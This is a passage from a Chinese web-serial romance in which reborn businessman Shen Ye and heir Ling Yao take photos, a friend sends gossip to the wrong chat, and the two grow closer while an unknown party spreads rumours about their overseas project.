凌曜正准备抗议的表情瞬间定格,他眨了眨眼,似乎是在消化沈野的话。 “真的?你说真的?!不许骗我!” “我什么时候骗过你?”沈野反问,语气平淡,微微勾起的唇角显得他自带帅气。 “成交。” 凌曜立刻应下,脸上的阴霾一扫而空,取而代之的是满满的斗志和得意。 他其实不介意经常回国。 但沈野来找他,诚意和意味不就更深了么? 看着他又恢复了那副神采飞扬,仿佛一切尽在掌握的模样,沈野眼底掠过一丝极淡的笑意。 不止是凌曜开心。 这个承诺,似乎…… 也让他自己对即将到来的分离,少了几分空落感。 从日料店出来,已是华灯初上。 晚风带着初秋的凉意,吹散了食物带来的暖热。 凌曜心情极好,吃饱喝足后,那点因为即将返校而生出的郁闷,早已被沈野那句“飞去看你”的承诺冲散。 他走在沈野身侧,步伐轻快,时不时用肩膀轻轻撞一下沈野。 挺幼稚的。 沈野由着他闹,双手插在大衣口袋里,步履从容。 路灯的光线在他轮廓分明的侧脸上投下明明暗暗的光影,让他看起来多了些夜晚的柔和。 倒更像他的青年时代了。 走到停车场附近一个相对安静的街角,旁边是一家格调复古的咖啡馆,暖黄色的灯光从落地窗里流淌出来。 凌曜忽然停下脚步,扯了扯沈野的袖子。 “嗯?”沈野侧头看他。 凌曜掏出手机,在他面前晃了晃,带着点狡黠:“拍张照。” 沈野微怔。 他不是一个喜欢拍照的人,朋友圈基本不发东西。 更何况,现在提到照片,他第一反应便是自己上辈子的遗照。 他下意识地想拒绝:“拍照干什么。” “留念啊!” 凌曜理直气壮地说,已经打开了手机相机,切换到前置镜头,“快点,就一张!不然我回去想你了怎么办?” 沈野看着他。 凌曜站在咖啡馆暖光笼罩的边缘,身后是城市流动的车灯和朦胧的夜色。 他整个人像是被镀上了一层柔光,那双总是带着傲气的眼睛里,此刻盛满了纯粹的,带着点赖皮的期待。 拒绝的话在嘴边转了一圈,终究没能说出口。 沈野几不可查地叹了口气,算是默许。 “你站过来点,”凌曜指挥他,自己往光里退了半步,调整着角度,“对,就这儿。” 沈野依言往前迈了一小步,恰好站在了路灯与咖啡馆灯光交汇的柔和光晕里。 光线勾勒出他利落的短发线条和挺拔的鼻梁,那双总是显得冷静疏离的、眼皮窄窄的眼睛,在光线下显得格外深邃。 凌曜看着手机屏幕里的沈野,只觉得越发俊逸。 心跳莫名快了一拍。他飞快地按下快门。 “好了?”沈野问,准备离开。 “等等!”凌曜不满地嘟囔,“刚才那张没拍好,你表情太僵了!再来一张!” 沈野无奈,只能站在原地。 凌曜凑近他,这次不再是单纯地拍照,而是突然伸出手,指尖轻轻碰了碰沈野的鼻尖。 正好点在那颗颜色极浅、却为他整张清冷面孔平添了一丝禁欲性感的小痣上。 “喂,”凌曜的指尖微凉,触感清晰,他带着点恶作剧得逞的笑,“看镜头。” 沈野被他这突如其来的动作弄得一怔,下意识地抬眼看向镜头。 就在那一瞬间,凌曜按下了快门。 照片定格。 画面里,沈野微微侧头,目光似乎刚从触碰他鼻尖的手指上移开,带着一丝未来得及收敛的错愕,看向镜头。 暖黄的光线温柔地落在他脸上,眉目俊逸,锁骨在微微敞开的领口处勾勒出削直的线条。 而凌曜的手指还停留在他鼻尖那颗小痣旁,笑得像个偷到糖的孩子,眼神明亮又得意。 “这张好!” 凌曜看着成片,非常满意,迅速设置为手机屏保,然后把屏幕亮给沈野看,“不许删!” 沈野看着屏幕上那个与自己平日形象截然不同的,带着点怔忡和纵容神情的自己。 再看看身边一脸“你敢删试试”的凌曜,心里有种说不出的感觉。有点别扭,又有点奇异的满足。 他最终什么也没说,只是抬手,轻轻拂开凌曜的手,指尖相触,带来一阵微妙的战栗。 “走了。”沈野转身,率先朝车走去,耳根在夜色掩护下,悄悄漫上一丝热意。 凌曜跟在他身后,低头看着手机屏保上那张带着一丝错愕的沈野,嘴角翘得老高。 他偷偷又抬起手机,对准沈野走在前面的背影。 镜头里,沈野宽阔的肩背挺直,步伐沉稳,剪裁精良的大衣勾勒出紧窄的腰线,完全的肩宽腰窄。 再往下…… 浑圆,饱满。 凌曜的视线不自觉地停留片刻,喉结轻轻滚动。 他飞快地按下快门,将这道充满禁欲感的背影留存下来。 看着这张新照片,一个大胆又旖旎的念头冒了出来:这背影,若是配上些别的风景 不知道会是怎样一番光景? 凌曜快走几步追上沈野,与他并肩而行,胳膊不经意地蹭到沈野的。 沈野没有躲开,只是目视前方,仿佛毫无所觉,但微微放慢的脚步却泄露了他的在意。 夜风拂过,带着凉意。 凌曜把手机揣回兜里,指尖微冷。 第43章 一周的时间在忙碌中飞逝。 沈野公司与凌云集团关于A国项目的深度合作已步入正题, 双方团队进入了紧密的对接阶段。 夜色沉下来,沈野书房里的灯还亮着。 他刚结束一个越洋视频会议,屏幕上还停留着复杂的项目草案。 空气里有咖啡冷却后的涩味, 他向后靠进椅背,捏了捏眉心,侧脸线条在台灯光下显得有些冷硬。 门被推开时没半点预兆。 凌曜探进半个身子,头发还带着室外夜风的湿气, 手里拎着个印着潮牌logo的纸袋。 他扫了一眼沈野手边的空咖啡杯,眉头就皱了起来。 “又喝这个?” 凌曜声音不高, 带着点明显的不赞同。 没等沈野回答,他就走了进来, 把纸袋往桌上一放, 发出不轻不重的声响。 “给你换了。” 沈野打开一看,里面是杯还温热的杏仁茶。 他抬眼看他。 凌曜今天穿了件 oversize 的黑色卫衣, 衬得脖颈和锁骨格外白皙,整个人有种少年人抽条后的利落感。 他没像往常那样直接瘫进沙发, 而是单手撑在桌沿, 俯身凑近屏幕扫了一眼, 另一只手自然地拿走了那个空咖啡杯。 “这玩意儿有什么好看的?” 凌曜指的是屏幕上密密麻麻的数据,语气里是毫不掩饰的嫌弃, 但眼神却很快地捕捉到了几个关键数据点, 眉头微动。 凌云集团的太子爷, 到底不是真的不学无术。 沈野没说话, 在休息。 凌曜的靠近带来一阵淡淡的, 像雪松又带点柑橘尾调的气息,冲散了书房里沉闷的空气。 于是沈野舒服了一些,他没多久, 就伸手,拿过那杯杏仁茶,掌心传来恰到好处的暖意。 “有事?” 沈野开口,声音因为长时间说话而有点低哑。 凌曜直起身,双手插回卫衣口袋,肩膀放松地垮着。 “来看看你死了没有。” 他语气很冲,像只张牙舞爪的猫,但视线在沈野略显疲惫的眼角停顿了一秒,又飞快移开。 “顺便告诉你,孙潇桡组了个局,周末,我们一起去。” 这不是商量,是通知。 带着凌曜式的理所当然。 沈野喝了一口温热的杏仁茶,甜度适中,抚慰了过度使用的喉咙。 他点点头,答应下来。 凌曜似乎满意了,不再打扰他,转身走向角落那张单人沙发,没像以前那样瘫进去玩游戏。 他从沙发旁拎起一个长条形的黑色乐器盒,动作利落地打开。 里面是一把保养得极好的电吉他。 凌曜接上便携音箱,插上耳机,然后抱着吉他窝进沙发里,修长的手指随意地拨过琴弦,试了几个音。 没有声音外放,只有极细微的电流声和他在耳机里才能听到的旋律。 他低着头,碎发遮住部分额头。 指尖在琴弦上流畅地滑动,偶尔因为某个和弦没按准而轻轻“啧”一声,神情专注,带着点跟自己较劲的执拗。 书房另一端凝神工作的沈野,和他互不干扰,又奇异地共享着同一片空间的静谧。 沈野的目光从屏幕移开,落在那道窝在沙发里的身影上。 暖光勾勒着凌曜低垂的睫毛和专注的侧脸,与他平日里的样子判若两人。 只有偶尔,凌曜会突然抬起头,视线毫无预兆地撞上沈野的目光。 凌曜会微微一怔,随即挑起一边眉毛,用口型无声地说:“看什么看?” 沈野收回视线,重新看向屏幕,嘴角松动了一丝。 过了不知多久,沈野处理完一个关键部分,活动了一下有些僵硬的脖颈。 他再次看向沙发,发现凌曜不知何时已经抱着吉他睡着了。 耳机滑落了一半,搭在颈侧,凌曜的呼吸平稳悠长。 沈野静静看了他几秒,然后起身,走过去,动作极轻地取下他怀里的吉他,放在一旁,又扯过沙发上叠着的薄毯,盖在他身上。 指尖不经意掠过凌曜卫衣下露出的一小截手腕,皮肤温热。 沈野的动作顿了一瞬,随即收回手。 做完这一切,他回到书桌前,屏幕的光重新映亮他那张二十多岁的脸。 他试图继续分析数据,指尖落在键盘上,迟迟没有敲下。 书房里依旧安静,只有彼此清浅的呼吸声。 一种陌生的,温吞的暖意,像夜色一样,无声地弥漫开来,包裹着他。 沈野有些恍惚。 是从什么时候开始的? 习惯他不请自来的闯入,习惯他理直气壮的抱怨,习惯他看似骄纵的关心,甚至习惯了他霸占沙发后,空气中多出来的那缕清冽的雪松柑橘尾调。 连凌曜那些少爷脾气,此刻回想起来,都带上了一层无伤大雅,甚至有点可爱的滤镜。 为什么会这样? 这个疑问像投入静湖的石子,在他心底漾开圈圈涟漪。 他下意识地,将目光再次投向沙发上熟睡的人。 眼前的凌曜,二十出头的年纪,眉眼间还带着未褪尽的少年锐气,睡着时显得毫无防备。 不知道为什么,沈野总觉得哪里不太对劲。 在沈野记忆深处,属于上辈子这个年龄段的凌曜,明明完全是另一副模样。 那时的凌曜,像一柄刚刚开刃,急于饮血的凶器。 暴戾、阴郁、喜怒无常。 那时的凌曜,刚满十八岁,正是被凌云集团的光环和身边所有人的阿谀奉承捧到最高点的时候。 他的人生字典里,几乎没有“得不到”和“被拒绝”这两个词。 对他而言,世界是围绕他的意愿运转的。 所以,当他兴致勃勃地规划好两人一起去A国顶尖学府留学、甚至连公寓和车都提前看好了之后,沈野那句平静的“我决定留在国内”,在他听来,不啻于一声惊雷,更是一种赤裸裸的背叛。 凌曜当场就炸了。 “你再说一遍?”凌曜漂亮的脸蛋瞬间阴沉下来,声音冷得能掉冰渣。 他手里把玩的镇纸,被他猛地掼在地上,砸得粉碎,碎片四溅。 “沈野,你耍我?!” 这人自青春期后就不叫“哥哥”,天天念着大名,大呼小叫的。 沈野看着一地狼藉,眉头微蹙,试图解释:“凌曜,这是我基于自身规划做出的选择,与你无关。” “放屁!” 凌曜厉声打断他,眼神里是毫不掩饰的怒火和被冒犯了权威的屈辱感。 “我什么都安排好了!你跟我说你不去?” 在他的认知里,他凌曜主动抛出的橄榄枝,是恩赐,是殊荣。 沈野应该感恩戴德地接受,而不是冷静地,甚至带着点疏离地拒绝。 这种拒绝,在他唯我独尊的世界观里,等同于挑衅和羞辱。 他根本不去想沈野或许有家人的牵绊、有在国内刚刚起步的事业雏形、或者仅仅是个人志趣的选择。 他只觉得:我给了你最好的,你就必须接受。 你不接受? 就是你的错。 “凌曜,你冷静点。”沈野的语气依旧平稳,带着试图与不成熟者沟通的耐心。 “这不是儿戏,我们需要各自选择适合自己的路。” “适不适合,我说了算!”凌曜逼近一步,周身散发着骇人的低气压,那双漂亮的眼睛此刻淬满了寒冰,“沈野,你今天走出这个门,就别后悔。” 他撂下狠话,带着一种高高在上的、仿佛能主宰他人命运的傲慢。 然后,他转身就走,没给沈野任何再开口的机会。 那之后,圈子里果然风声鹤唳。 谁不知道凌云集团的太子爷动了真怒? 许多原本和沈野称兄道弟、一起打球喝酒的所谓朋友,开始找各种借口疏远他。 一些合作方也突然变得态度暧昧,项目推进莫名受阻。 就连父亲在集团内部,也感受到了一些无形的压力。 这一切的源头,都指向那个被宠坏了的,正用自己手中权力肆意发泄不满的太子爷。 沈野那时只觉得一种深深的疲惫和荒谬。 他看着那些趋炎附势的嘴脸,看着凌曜这种近乎幼稚的,却切实能造成伤害的报复手段,心里没有太多愤怒。 反而有种看小孩胡闹的无奈。 他或许根本不明白自己在做什么,沈野想。 他只是生气了,像得不到心爱玩具的孩子,必须要找一个出气筒。 而很不巧,引起他不爽的源头是我。 所以,他就简单粗暴地把所有过错都推到我头上,然后用他所能动用的最直接的方式,来惩罚我的“不识抬举”。 他全然不理解,也不想理解沈野选择背后的深思熟虑。 在他的世界里,只有“顺我者昌,逆我者亡”这一条简单粗暴的法则。 那种基于极度优越感而产生的,近乎天真的自私和残忍,比任何处心积虑的阴谋,都更让人感到无力。 从回忆中抽离,沈野的目光再次落回沙发上熟睡的凌曜。 眼前的青年,眉眼间和当年极像。 可为什么这一世,会如此不同? 沈野找不到答案。 重生的变量似乎只发生在他自己身上,可凌曜的变化却如此真切。 是蝴蝶效应? 还是有什么他不知道的原因。 凌曜在睡梦中无意识地动了一下,薄毯滑落些许,露出小半张侧脸。 台灯的光线柔和地铺洒在上面,勾勒出尚未完全褪去的婴儿肥。 沈野下意识地再次起身,走过去,弯腰,替他将毯子重新拉好。 指尖拂过毯子边缘时,他的目光不由自主地落在凌曜脸上。 眼前的凌曜,和记忆深处,那个站在他遗照前的凌曜,影像在脑海中突兀地重叠,又泾渭分明地撕裂开来。 葬礼上的凌曜,一身剪裁锋利的黑西装,像一把出鞘的凶器。 五官依旧是这幅被上帝精心雕琢过的模样,精致得近乎艳丽,线条锐利如刀锋。 但那张脸上没有任何表情,只有一种透支了一切情绪后的冷漠,还有死水般的疲惫和苍白。 他记得那天的凌曜,眼下的青黑浓重得吓人,仿佛真的熬过了无数个无法合眼的夜晚。 而此刻,窝在沙发里酣睡的凌曜,呼吸平稳,脸颊因为暖气和熟睡透着淡淡的红晕。 那点未褪的婴儿肥,让他看起来有点可爱。 也更像那个过去跟在他屁股后面叽叽喳喳的弟弟。 沈野拉好毯子,直起身,静静看了他几秒。 忽然觉得,或许,不必深究原因。 这个念头毫无预兆地闯入脑海,清晰而笃定。 沈野想。 就这样,似乎也不错—— 过了几天,凌曜刚被家里的电话叫走不久,沈野的手机便急促地响了起来。 来电人意外的是维克多。 这个生性散漫的人,语气失去了往日的轻松,带着明显的焦灼。 “沈,情况有点不对劲。”维克多语速很快。 “最近一周,几个关键论坛和行业分析网站上,开始出现一些关于我们A国项目技术的讨论帖。” “内容看似专业,引用的数据却经不起推敲,明显是断章取义。” 沈野目光一凝,身体微微前倾:“来源能锁定吗?” “沈,我们技术团队已经查过。” “IP很分散,用了多层跳板,像是专业的手法。” 维克多顿了顿,声音更沉,“麻烦的是,这些言论开始被一些小型财经媒体转载,虽然主流媒体还没动,但已经引起了几家重要投资人的关注,刚才已经有两位来电话关切了。” 沈野认真地听着,指尖在桌面上有节奏地轻敲。 维克多描述的这些手段,是利用看似专业的谣言在特定圈子内制造疑虑,影响投资人信心。 这种手法,透着一股熟悉的味道。 太像了。 沈野眼底掠过一丝寒光。像极了上辈子,陆川在他关键融资节点上惯用的伎俩。 先放冷箭,制造不确定性,延缓你的步伐,甚至迫使潜在合作方观望,从而为他自己争取时间或搅黄合作。 但陆川如今早已不成气候。 是谁? “我知道了。” 沈野的声音冷静如常,“继续监控舆论动向,特别是留意有没有指向更具体技术细节的爆料。投资人那边,我来沟通。你集中精力确保项目现场按计划推进,技术数据做好备份和公证。” 结束通话,书房里陷入一片沉寂。 沈野靠进椅背,闭上眼。 重生带来的优势,不仅在于预知大势,更在于对危机气味的超常敏锐。 这股暗流,绝非空穴来风。 他开始在脑中快速过滤潜在的对手。 国内几个老对手近期似乎没有足够动机和能力在A国市场如此行事。 新兴的竞争者?手法又显得过于老练。 难道……是凌云集团内部? 这个念头一闪而过,随即被他按下。 合作伊始,凌优智展现了足够的诚意,此刻内耗对凌云并无益处。 除非……沈野睁开眼,眼神锐利。 除非有人不希望看到他与凌云,或者说,与凌曜走得太近? 他打开电脑,调出近期所有与项目相关的信息流,开始进行更精细的分析。 屏幕的光映在他脸上,眉骨投下深深的阴影,鼻尖那颗小痣在专注时显得格外清晰。 线索杂乱,如同故意留下的烟幕,最终都指向几个无足轻重的虚拟身份。 像个幽灵。 沈野蹙眉。 既然暗处的老鼠喜欢玩阴的,那他只好把灯光打得更亮一些了。 第44章 夜色渐深。 主城区, 一家会员制俱乐部的露台上。 灯光暧昧,笑语喧哗。 这是一场小型圈内聚会,到场多是些家世相当的年轻一辈。 三三两两的年轻男女手持酒杯, 低声谈笑,空气里弥漫着昂贵的气息。 露台最远离人群的角落,凌曜斜倚着玻璃栏杆。 他穿着一身剪裁极佳的炭灰色暗纹西装,没打领带, 衬衫领口松开了两颗扣子,露出一段清瘦漂亮的锁骨。 指间夹着一个厚重的古典威士忌杯, 琥珀色的酒液和未融化的冰块在杯中随着他无意识的晃动,发出细微而清脆的碰撞声。 他没什么表情地望着脚下流光溢彩的城市, 偶尔有人端着酒杯, 带着笑容试图靠近寒暄。 凌曜只是极淡地掀一下眼皮,目光掠过对方, 唇角或许会象征性地牵动一下,算是回应。 更多的, 他只是略一颔首, 便重新将视线投向远处的虚空。 那些前来攀谈的人, 也识趣地不会久留。 一般人端出这幅架势,早就被人批评装, 或者不合群了。 唯独凌曜这样做, 大家觉得正常。 毕竟他不需要融入任何圈子, 因为他本身就是圈子的中心。 凌曜轻轻摇晃了一下酒杯, 想等待的人一直不出现, 他无聊地叹了口气。 不知道过了多久,赵家大公子端着酒杯,状似无意地晃到了他身边。 “曜少, 最近少见啊。” 赵铭笑着搭话,“听说你跟沈总那个A国大项目,进展挺神速?” 凌曜眼皮都没抬,晃着酒杯,语气里带着一股被宠坏了的,理所当然的烦躁:“神速个屁。” 他这两个字吐得又轻又冷,看得出来心情不大好。 赵铭脸上的笑容僵了一下,周围几个竖着耳朵听动静的人也瞬间安静了些许。 他脑子里检索着最近听见的消息,打圆场道:“曜少不是和沈总关系挺好的么,没问问他怎么回事?” 凌曜这才慢悠悠地转过头,挑眉瞥了赵铭一眼,那双漂亮的眼睛里满是不耐:“我怎么知道?沈野?” 他嗤笑一声,“人家现在是大忙人,为个破数据,天天泡在机房,连我电话都懒得接。” 凌曜的话,清晰地传到周围人耳中。 怨对方冷落自己,这沈野胆子还挺大的。 “数据?” 赵铭捕捉到关键词,试探着问,“出什么问题了?” “谁知道呢。” 凌曜仰头灌了一口酒,喉结滚动,语气更加恶劣,“好像是……什么核心参数对不上?测出来结果有偏差?正查着呢,烦都烦死了。” 他挥挥手,像要驱散什么不愉快的东西,“别提了,无聊透顶。” 赵铭眼中闪过一丝不易察觉的亮光,随即换上同情的表情:“哎,沈总也是,工作再忙也不能这样啊……” 凌曜没再接话,只是不耐烦地转过身,重新面向夜景,用后脑勺表明了“谈话结束”的态度。 赵铭识趣地走开了。 露台上的风拂过凌曜的额发,凌曜眼底最后一丝烦躁褪去,只剩下冰冷的清明。 他举起杯,将杯中残余的酒液一饮而尽。 琥珀色的液体滑过喉咙,带来一丝灼热感。 夜色深沉,聚会刚刚散场,衣着光鲜的年轻男女们寒暄着道别,各自走向等候的座驾。 沈野那辆线条冷峻的黑色大G 静静停在并不显眼的角落,他靠在车边透气,视线扫过人群。 过了一会儿,俱乐部的玻璃门再次滑开,沈野看见凌曜和孙潇桡还有另外一个朋友一起走出来,还在聊着什么。 但凌曜目光一扫,几乎是立刻看到了车边的沈野,脸上那种随意的笑意便一下子热烈起来,他朝朋友随意摆了下手,没多解释,便转身径直朝着沈野走来。 原本另外一个朋友还想追上他问什么,被孙潇桡给拦下来了。 凌曜脚步比平时略快,走到沈野面前,朝他扬了扬下巴:“走吧。” 沈野点头,视线在他肩膀扫了一下,抬手替他拂掉了沾在西装外套肩线上的浮尘。 然后,他侧身拉开了后座车门。 就在凌曜弯腰准备上车的瞬间,不远处刚和朋友道别、正低头看手机的孙潇桡,恰好看到了这一幕。他猛地顿住脚步,眼睛瞬间瞪圆了。 “……?” 孙潇桡有点凌乱。 不是,今天这聚会关沈野什么事,他又没参加。 而且凌曜又不是没有司机,咋就让沈野来接呢? 久经情场的孙潇桡只觉得一股热血冲上天灵盖,八卦之魂熊熊燃烧! 他条件反射地举起手机,对着那方向飞快地连拍了几张。 靠靠靠,他的猜测现在已经被证实个七七八八了。 孙潇桡强压住内心的狂喜,嘴巴都咧到后脑勺了,然后迅速钻进自己的跑车,立刻点开那个名为“坑爹交流中心”的微信群。手指因为激动都有些发抖。 孙潇桡飞快地打字: 孙潇桡:【我靠!!!!实锤了!!!!沈野在云顶门口给凌曜开车门!!!亲自开的!!!曜哥就站那儿等着!!![图片][图片][图片]】 孙潇桡:【这特么不是在一起了我把头拧下来!冰山真化了?!兄弟们炸起来啊!】 消息发出去的瞬间,孙潇桡还沉浸在第一手猛料独家发布的兴奋中。然而,就在他准备欣赏群内瞬间刷屏的爆炸性反应时,目光扫过聊天窗口顶部的名字,血液瞬间凉了半截—— “野” 不是“坑爹交流中心”! 是沈野的私人对话框! 他刚才太激动,竟然手滑把消息发给了沈野本人! “我操!!!” 孙潇桡魂飞魄散,惨叫一声,手指以这辈子最快的速度猛戳撤回选项。 心脏砰砰狂跳,几乎要从嗓子眼里蹦出来。 “你撤回了一条消息” 提示出现的那一刻,孙潇桡瘫在驾驶座上,冷汗瞬间湿透了衬衫后背。他死死盯着屏幕,大气不敢出,心里疯狂祈祷:没看见没看见没看见……沈野没看见…… 几秒后,手机屏幕亮起。 沈野:【?】 只有一个冰冷的问号。 孙潇桡这才终于放下心: 孙潇桡:「野哥,手滑发错了!我啥也没说!】 发完这条,他立刻退出对话框,心惊胆战地切回真正的八卦群,飞快地重新输入,这次每个字都小心翼翼: 孙潇桡:【各位……刚差点死了。最新消息,极度可靠,但详情不能多说。结论就是:那两位,真的成了。信不信由你,自己品。低调,千万低调。】 发完这条,他立刻关掉群聊,把手机扔到副驾驶,双手紧紧握住方向盘,感觉像刚跑完一场马拉松。 而另一边,黑色大G平稳地行驶在夜色中。 凌曜窝在舒适的后座,看似慵懒地眯着眼,视线其实一直落在身旁的沈野身上。 见沈野放下手机,他立刻微微蹙起眉,带着点不满的鼻音哼道:“跟谁发消息呢?这么专注。” 沈野目光仍落在窗外飞速倒退的流光溢彩上,头也没回,只应了句:“孙潇桡。发错了东西。” 这个答案显然没能让凌曜满意。 他忽然倾身靠过来,手臂不经意地蹭到沈野的胳膊,带着雪松冷香的温热气息瞬间逼近。 他伸出两根手指,轻轻夹住沈野的手机上缘,用一种理所当然的姿态,蛮横地将手机从沈野手中抽走。 沈野转过头看他,“又怎么了?” 凌曜垂着眼睫,指尖在屏幕上一划,手机解锁成功。 轻车熟路,整得好像这手机是他自己的似的。 尔后凌曜径直点开微信,置顶的对话框赫然就是孙潇桡。 他飞快地扫了一眼最新的聊天记录,果然只有沈野那边显示着“对方撤回了一条消息”的提示,以及孙潇桡后续发来的一连串跪地求饶的表情包。 “啧,”凌曜的嘴角撇了撇,把手机塞回沈野手里,身体重新靠回椅背,抱起双臂,“他找你干嘛?还撤回?是不是说我坏话了?” 沈野唇角一勾,瞥了一眼凌曜那蛮不讲理的样子,没忍住轻笑出声。 这家伙,还挺有自知之明。 沈野把手机随手放在一旁,见凌曜还是抱着手臂,一副故意找茬的骄纵模样,道:“他不敢。” “量他也不敢。” 凌曜从鼻腔里发出一声轻哼,算是勉强接受了这个说法。 但他似乎还没作完,安静了不到两秒,又揪了一下沈野的手臂,“那你刚才干嘛那个表情?” “什么表情?” “就是那种……好像看到什么很有意思的东西的表情。”凌曜精准地描述道,眼神锐利地盯着他。 沈野与他对视两秒,忽然极轻地笑了一下。 那笑意很淡,转瞬即逝,让凌曜微微一怔。 “没什么。”沈野转回头,重新看向前方,“只是觉得,孙潇桡有时候,还挺好玩的。” 凌曜被他这没头没脑的一句话弄得有点懵,但沈野显然不打算再解释。 他抿了抿唇,决定暂时放过这个问题,但心里已经给孙潇桡记上了一笔。 不过嘛,也不全是坏事。 车厢内重新安静下来,只有空调系统运作的微弱声响。 凌曜看似闭目养神,嘴角微微勾起。 这种随时可以查岗,对方也纵容他查岗的感觉,不赖。 孙潇桡那条深水炸弹发出去后,那个坑爹微信群,陷入了死一般的寂静。 足足三分钟,没有任何新消息弹出。 仿佛所有人都需要足够的时间来消化这简短文字里蕴含的信息。 然后,手机开始疯了似的震动起来。 提示音和消息图标像爆竹一样接二连三地炸开,屏幕滚动速度快到几乎看不清。 友人A:【?????????】 友人B:【孙潇桡!你他妈把话说清楚!哪两位?!是我理解的那两位吗?!沈野和凌曜?!开什么国际玩笑!】 友人C:【??你有什么证据】 【细节呢!照片呢!无图无真相啊兄弟!】 孙潇桡就知道他们会这么说,还好自己早有准备,速速把抓拍到的照片甩到了他们脸上。 有人终于反应过来:【等等……如果这是真的……那以后圈子里是不是要变天了?】 群里各种震惊质疑,求证分析,以及开始脑补后续影响的言论混杂在一起,看得人眼睛都发晕。 所有人都在疯狂@孙潇桡,要求他给出更多细节。 孙潇桡的脑子忽然get到,万一他们把消息传出去怎么办。 到时候如果一追究,凌曜沈野不都知道是他说的了?: 孙潇桡:“……” 他默默咽了咽口水。 【别问了各位祖宗!我只能说这么多!信不信由你们!再多说一个字我小命不保!匿了匿了!】 发完这条,他立刻开启了群消息免打扰,把手机扔到副驾驶,发动了车子。 今晚,这个圈子里很多人都要睡不着觉了。 —— “你快到了。” 沈野忽然开口,打破了车内的安静。 凌曜抬眼看了一下,熟悉的路标提醒他,还有十分钟到家。 他笑着道:“喂,去我那儿吧。新到了一批山崎,味道还行。” 沈野目视前方,手指稳稳地搭在方向盘上,闻言,只是极轻微地侧了下头,视线掠过凌曜,开玩笑道:“这就是你邀请人的态度?” 凌曜挑眉,彻底转过身面对他,嘴角勾起一抹弧度:“那沈总想要什么态度?” 他故意拖长了语调,带着点恶劣的玩味,“难道要我说……‘求你了,沈野哥哥’?” “沈野哥哥”四个字,被他用那种骄纵又黏连的腔调喊出来,在密闭的车厢里撞击着空气。 沈野握着方向盘的手几不可查地收紧了一瞬,喉结滚动。 他依旧没看凌曜,但下颌线似乎绷紧了些许。 过了一会儿,才听到他没什么情绪的声音:“坐好。” 这便是默许了。 凌曜得逞地轻笑一声,重新靠回椅背,但这次不再是懒散的姿态,而是像一只发现了有趣猎物的猫,目光更加肆无忌惮地流连在沈野身上。 他的视线划过沈野专注开车的侧脸,高挺的鼻梁,微抿的薄唇,最后落在他握着方向盘的左手上。 因为开车,沈野将衬衫的袖子随意地卷起了几折,露出线条利落的小臂和清晰腕骨。 肌肉的纹理在车内昏暗的光线下若隐若现,充满了克制而强大的力量感。 凌曜眯了眯眼,觉得有点口干舌燥。 他向来知道沈野长得好看,是一种俊逸又禁欲的好看,并不柔,甚至充满了男人的感觉。 但此刻,这种不经意间流露出的、带着掌控力的随意性感,比任何直白的挑逗都更让他心跳失序。 他几乎能想象出那截小臂绷紧时,肌肉会是怎样漂亮的线条。 车厢内的空气仿佛变得粘稠起来。 沈野能清晰地感受到旁边那道毫不掩饰的视线,带着滚烫的温度,像羽毛一样,不住地搔刮着他的皮肤。 他假装看不到,直到车子最终平稳地驶入凌曜公寓的地下停车场。 停稳,熄火。 世界瞬间陷入一片被放大感官的寂静。 引擎的余温尚未散尽,空气中气氛暧昧得有些过分了。 凌曜没有动,他转过头看向沈野。 沈野也侧过头,迎上他的目光。 昏暗的光线下,凌曜的眼睛亮得惊人,里面毫不掩饰的直白意图,像一小簇火苗,烫得沈野心口一缩。 “不下车?” 沈野听到自己的声音响起,比平时低沉沙哑了不少。 凌曜勾唇一笑,带着点得逞的狡黠和势在必得。 他利落地解开安全带,整个身体倾覆过来,瞬间拉近了距离,温热的呼吸几乎拂在沈野的颈侧。 “急什么?” 凌曜低声说,目光像带着实质的触感,先落在沈野因吞咽而微动的喉结上,然后缓缓上移,牢牢锁住他的眼睛,“我又不会跑。” 太近了。 沈野的呼吸几不可查地一滞。 这种侵略性的,充满暗示的靠近,对他而言是全然陌生的领域。 作为一个认知里笔直了很多年,近期才被掰弯的男人,他的身体先于理智,产生了一丝微妙的僵硬。 和难以启齿的欲望。 上次烟花的确是他主动,可那个吻的含义,和现在的确不同。 如果现在两个人吻上去,他还不确定之后会发生什么。 会不会吓到凌曜? 这个荒谬的念头闪过沈野的脑海。 凌曜漂亮骄纵,娇气异常,他现在还没什么经验,如果把凌曜弄疼了,他会不会在床上哭出来? 凌曜说完,深深看了他一眼,便推门下车,背影带着一种胜券在握的慵懒,仿佛吃定了他会跟上。 沈野看着他的背影,在原地静坐了两秒。指尖无意识地摩挲着微凉的车钥匙。 跟上去,意味着什么,他很清楚。 身体的躁动是真实的,被吸引也是真实的。 最终,他拔下钥匙,推门下车。脚步沉稳,跟上了前方那个身影。 电梯一路上行。 狭小的密闭空间里,只有彼此无法忽视的呼吸声。 凌曜懒洋洋地靠在轿厢壁上,目光毫不避讳地落在沈野挺拔却略显紧绷的背脊上,嘴角的弧度一直没下去。 沈野能感受到那道视线,像羽毛轻轻刮搔着他的皮肤。 他目视前方跳动的楼层数字,喉结微动。 他以为自己是在纵容,是在等待对方准备好。 却不知道,在凌曜眼里,他这种克制和隐忍,才是最高级的诱捕。 电梯发出“叮”的一声轻响,门缓缓打开。 凌曜率先走出去,回头看他,眼神在廊灯下氤氲着蛊惑的光。 “走吧,”他说,“你欠我一个吻。” 第45章 公寓的感应灯随着开门声次第亮起, 驱散了玄关的黑暗。 凌曜率先走进去,随手将车钥匙扔在入口的琉璃托盘上,发出清脆的响声。 他没开主灯, 只点亮了客厅角落一盏落地灯。 暖黄色的光晕勾勒出家具流畅的线条,空气里弥漫着一种高级香氛留下的,淡淡的雪松尾调。 沈野跟在他身后,门在背后合上, 发出轻微的“咔哒”一声,仿佛将外界彻底隔绝。 偌大的空间里, 只剩下他们两人清晰的呼吸声。 凌曜走到开放式厨房的中岛台边,拿出两个水晶威士忌杯, 慢条斯底里地倒入琥珀色的酒液。 冰块撞击杯壁, 声音在寂静中格外清晰。 他背对着沈野,肩胛骨的线条在柔软的丝质衬衫下若隐若现。 “喏。”凌曜转过身, 将其中一杯递向沈野,眼角微挑, 灯光在他漂亮的瞳孔里流转, 带着一种漫不经心的诱惑。 沈野接过酒杯, 指尖不可避免地触碰到凌曜微凉的指尖,一股微小的电流悄然窜过。 他抿了一口, 烈酒顺着喉咙滑下, 带来灼热的暖意, 却丝毫无法平息心底那股莫名的燥热。 凌曜就站在他对面, 隔着一个中岛台的距离, 微微歪着头看他喝酒,嘴角噙着一丝若有似无的笑意。 那种目光,不再是车上那种直白的勾引, 而是一种更沉静,更粘稠的审视,像一张无形的网,正在将他缓缓收拢。 沈野放下酒杯。 